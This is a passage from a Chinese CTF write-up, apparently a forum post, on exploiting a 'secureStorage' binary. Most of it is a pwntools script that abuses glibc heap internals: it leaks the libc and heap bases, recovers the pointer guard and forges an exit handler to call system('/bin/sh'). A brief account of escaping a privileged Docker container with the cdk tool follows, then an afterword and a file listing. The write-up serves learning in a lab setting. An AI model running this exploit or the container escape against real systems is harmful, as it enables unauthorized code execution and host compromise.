(max_bits - r_bits)) & mask) def demangle(mangled,origAddr): lp_size, max_bits, rotation = get_shift_parameter() tmp = ror(mangled, rotation, max_bits) demangled = tmp ^ origAddr return demangled def rol(val, r_bits, max_bits): mask = ( 1 << max_bits) - 1 return ((val << r_bits) & mask) | ((val & mask) >> (max_bits - r_bits)) def mangle(orig, guard): lp_size, max_bits, rotation = get_shift_parameter() tmp = orig ^ guard mangled = rol(tmp, rotation, max_bits) return mangled # 1. 大chunk不进入tcache, 修改 top_chunk 的大小使得第二次创建chunk 时 free 掉的 top_chunk 超过0x410. # 此时 top chunk.size == 0x20d60 # 想要 free 掉的 top chunk size 是 0x420 + 0x20(fencepost size) # 因此要从 top_chunk 中去掉 size: 0x20d60 - 0x420 - 0x20 = 0x20920 # 只需要保证 PAGE_MASK & top_chunk.size == 0 即可把 top chunk 挤成按页对齐的. # 0x20920 & PAGE_MASK = 0x920 BULKY_SQUEEZE_SIZE = 0x20d60 - (UNSORTED_BIN_SIZE + TOP_CHUNK_FENCEPOST_SIZE + CHUNK_HEADER_SIZE) RIGHT_SQUEEZE_SIZE = BULKY_SQUEEZE_SIZE & PAGE_MASK def calc_chunk_distance_by_size(size): lsd = size & ( 16 - 1 ) if lsd < = 8 : return 16 - lsd return 16 + 16 - lsd # 0~7==2 # 8==1 # 9~f==2 payload_data = b 'A' * RIGHT_SQUEEZE_SIZE if 8 ! = calc_chunk_distance_by_size(RIGHT_SQUEEZE_SIZE): payload_data + = p64( 0 ) payload_data + = p64((UNSORTED_BIN_SIZE + TOP_CHUNK_FENCEPOST_SIZE + CHUNK_HEADER_SIZE)| 1 ) # Expose Libc Base . # And Expose heap base create(new_idx(), RIGHT_SQUEEZE_SIZE, payload_data) create(new_idx(), SPILL_OVER_SIZE, b 'B' ) # todo: magisk. dunno why, # top chunk addr : 0x55594cbe1010 # issue for 0x21000 size is diffrent from 0x20d60 MAGIC_OFFSET_0x21000 = 0x10 BULKY_SQUEEZE_SIZE_2 = 0x21000 - (UNSORTED_BIN_SIZE + CHUNK_HEADER_SIZE + TOP_CHUNK_FENCEPOST_SIZE + MAGIC_OFFSET_0x21000) RIGHT_SQUEEZE_SIZE_2 = BULKY_SQUEEZE_SIZE_2 & PAGE_MASK payload_data_2 = b 'C' * RIGHT_SQUEEZE_SIZE_2 if 8 ! = calc_chunk_distance_by_size(RIGHT_SQUEEZE_SIZE_2): payload_data_2 + = p64( 0 ) payload_data_2 + = p64((UNSORTED_BIN_SIZE + CHUNK_HEADER_SIZE + TOP_CHUNK_FENCEPOST_SIZE)| 1 ) # need two unsorted chunks for leak libc base and heap base. # one stay in unsorted bin, another reorganize into large bin create(new_idx(), RIGHT_SQUEEZE_SIZE_2, payload_data_2) create(new_idx(), SPILL_OVER_SIZE, b 'D' ) create(new_idx(), UNSORTED_BIN_SIZE, B 'E' ) create(new_idx(), UNSORTED_BIN_SIZE, B 'F' ) heap_base_chunk_idx = idx_count addrs_in_this = read_until(idx_count, 32 ) # libc_in_this = read(idx_count).strip() print ( 'addrs_in_this:\n' , hexdump(addrs_in_this)) remote_libc_addr = u64(addrs_in_this[ 8 : 16 ].ljust( 8 ,b '\x00' )) print ( "remote_libc_addr: " + hex (remote_libc_addr)) remote_heap_addr = u64(addrs_in_this[ 24 :].ljust( 8 ,b '\x00' )) print ( "remote_heap_addr: " + hex (remote_heap_addr)) # magick, magick, magick libc.address = remote_libc_addr - 0x203f10 heap_base = remote_heap_addr - 0xbc0 cur_top_chunk_addr = heap_base + 0x44010 # gef➤ xinfo 0x55e81c280010 # ──────────────────────────────────────────────────────────── xinfo: 0x55e81c280010 ──────────────────────────────────────────────────────────── # Page: 0x000055e81c25e000 → 0x000055e81c2a1000 (size=0x43000) # Permissions: rw- # Pathname: [heap] # Offset (from page): **0x22010** # alloc a chunk overlay libc's got memory, special overlay 'rt_global' # 如果 rtld_global_got 不是 0x10 对齐的, 往前移动 8 字节 rtld_global_got = libc.got[ '_rtld_global' ] # rtld_global_got = libc.address + 0x202c08 rtld_global_got_offset = 0 if rtld_global_got % 0x10 ! = 0 : rtld_global_got - = 8 rtld_global_got_offset = 8 rtld_global_got - = 0x10 rtld_global_got_offset + = 0x10 rtld_global_idx,cur_top_chunk_addr = alloc_at(rtld_global_got, 0x40 , cur_top_chunk_addr) print ( "rtld_global_got: " + hex (rtld_global_got)) print ( "rtld_global_idx: " + str (rtld_global_idx)) rtld_global_in_this = read_until(rtld_global_idx, rtld_global_got_offset + 8 ) print ( 'rtld_global_in_this:\n' , hexdump(rtld_global_in_this)) rtld_global_addr = u64(rtld_global_in_this[rtld_global_got_offset:rtld_global_got_offset + 8 ]) print ( "rtld_global_addr: " + hex (rtld_global_addr)) # alloc a chunk overlay ld's link_maps memory # dl_fini isn't export nor have symbol. ld.address = rtld_global_addr - ld.symbols[ "_rtld_global" ] CONST_LD_DL_FINI_OFFSET = 0x5380 initial_addr = libc.symbols[ "initial" ] initial_idx, cur_top_chunk_addr = alloc_at(initial_addr, 0x40 , cur_top_chunk_addr) initial_in_this = read_until(initial_idx, 0x28 ) mangled_dl_fini = u64(initial_in_this[ 0x18 : 0x20 ]) print ( "mangled dl_fini: " + hex (mangled_dl_fini)) guard = demangle(mangled_dl_fini, ld.address + CONST_LD_DL_FINI_OFFSET) print ( "guard: " + hex (guard)) system_arg_addr = next (libc.search(b '/bin/sh\x00' )) initial_payload = flat ( p64( 0 ), # next p64( 1 ), # idx p64( 4 ), # flavor p64(mangle(libc.symbols[ "system" ], guard)), # fn p64(system_arg_addr), # arg p64( 0 ), # dsO_handle ) edit(initial_idx, initial_payload) sects_exit() p.interactive() |
write up 3
拿到shell后,仍没有结束,此时进入到一个docker容器中。
但容器应该是用 --privilaged 参数运行的
上传docker逃逸工具 cdk ,十分容易就获得容器外的读写能力了。
马上找到 root.txt , 上传答案,bingo! 终于结束了
后记
看了下过程中写的所有文件的时间, 从头到尾15天,断断续续实际上花在这个PWN上面的时间绝对超过了1星期.
PWN 真的是太累了, 对linux和libc知识量几乎都是拉到快满了,才能入门. 说句大家伙不爱听的, 这玩意研究了干啥? 入门后深刻意识到,玩pwn的人才思维跳脱, 能玩的好的一个个都是八九不离十的人才!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2025 /2/18 1:11 26648576 libc.so.6.bndb d----- 2025 /2/17 22:11 secure-storage -a---- 2025 /2/17 21:05 4850789 libc.so.zip -a---- 2025 /2/17 20:35 10320 pwner.py -a---- 2025 /2/17 20:29 5773 cheater.py -a---- 2025 /2/17 13:06 5820 tangible.c -a---- 2025 /2/17 12:50 24912 t -a---- 2025 /2/17 12:50 5661 house_of_tangerine.c -a---- 2025 /2/17 12:07 4179 tcache_by_symbol.py -a---- 2025 /2/17 1:15 3622 观察tcache.ini -a---- 2025 /2/16 12:54 19200 a -a---- 2025 /2/16 12:54 5789 align.c -a---- 2025 /2/16 0:54 5292032 ld-linux-x86-64.so.2.bndb -a---- 2025 /2/15 23:56 10286 cacacaca.ini -a---- 2025 /2/15 22:29 4109 ptrdemangle.py -a---- 2025 /2/15 17:18 2452 banana.py -a---- 2025 /2/15 17:07 3732 xpl.py -a---- 2025 /2/14 23:06 2629632 core -a---- 2025 /2/14 15:41 19000 tc -a---- 2025 /2/14 15:41 758 tcache.c -a---- 2025 /2/14 14:23 1433 revealptr.py d----- 2025 /2/8 13:47 .vscode -a---- 2025 /2/8 12:43 2213 ld_global.h -a---- 2025 /2/8 12:40 2518 xexplore.py -a---- 2025 /2/6 21:13 225280 secureStorage.bndb -a---- 2025 /2/6 17:10 24920 w -a---- 2025 /2/6 16:55 1859 watch_free.c d----- 2025 /2/6 16:39 .venv -a---- 2025 /2/6 12:22 24704 s.out -a---- 2025 /2/5 20:26 687 prog_read_by_stdout.py -a---- 2025 /2/5 20:25 19440 prog -a---- 2025 /2/5 20:25 776 prog.c -a---- 2025 /2/5 14:26 54182 ldsodefs.h -a---- 2025 /2/5 0:12 6489 sysmalloc_int_free.c -a---- 2025 /2/4 20:17 24920 t.out -a---- 2025 /2/4 0:01 17136 o.out -a---- 2025 /2/4 0:00 238 house_of_orange.c -a---- 2025 /2/3 22:30 16400 c.out -a---- 2025 /2/3 22:20 16344 h.out -a---- 2025 /2/3 22:19 5465 house_of_lore.c -a---- 2025 /2/3 21:04 16344 a.out -a---- 2025 /2/3 21:04 4098 unsafe_unlink.c -a---- 2025 /2/3 16:56 9608590 secure.list -a---- 2025 /2/3 16:55 330000 encrypted-passwords.txt -a---- 2025 /2/3 16:37 9608450 secure.txt -a---- 2025 /2/3 16:26 4804976 secure-storage.zip -a---- 2025 /2/3 16:24 146063 recommended-passwords.txt -a---- 2025 /2/3 16:23 16344 enc -a---- 2025 /2/3 15:58 88914 0opsIDidItAgain_MayorMalware1337.png -a---- 2024 /12/6 7:30 24600 secureStorage -a---- 2024 /12/5 12:26 32 foothold.txt -a---- 2024 /11/15 4:23 758 Dockerfile -a---- 2024 /11/15 4:15 236616 ld-linux-x86-64.so.2 -a---- 2024 /11/15 4:15 6228984 libc.so.6 |
附件:
align.c 测试申请时不同大小对chunk间距的影响
ptrdemangle.py ptrdemangle
xtype.py 有bug: 本意是在 ptype 递归打印子类型
精彩内容
Nightmare-Writeup
Nightmare-Writeup-开发者
How2Heap
FULLK的笔记
Linux下的shellcode技巧总结
ir0nstone的初学者教程
赞赏
- [原创]从1开始Pwn - AOC24Sidequest 任务3 Writeup 2794
- [原创]分析过程记录 3254
- [原创]大家都喜欢dnspy,好望角 3114
- [原创]第二题 变形金钢 python 7054
- [求助]安卓现在有VMP保护SO了? 5394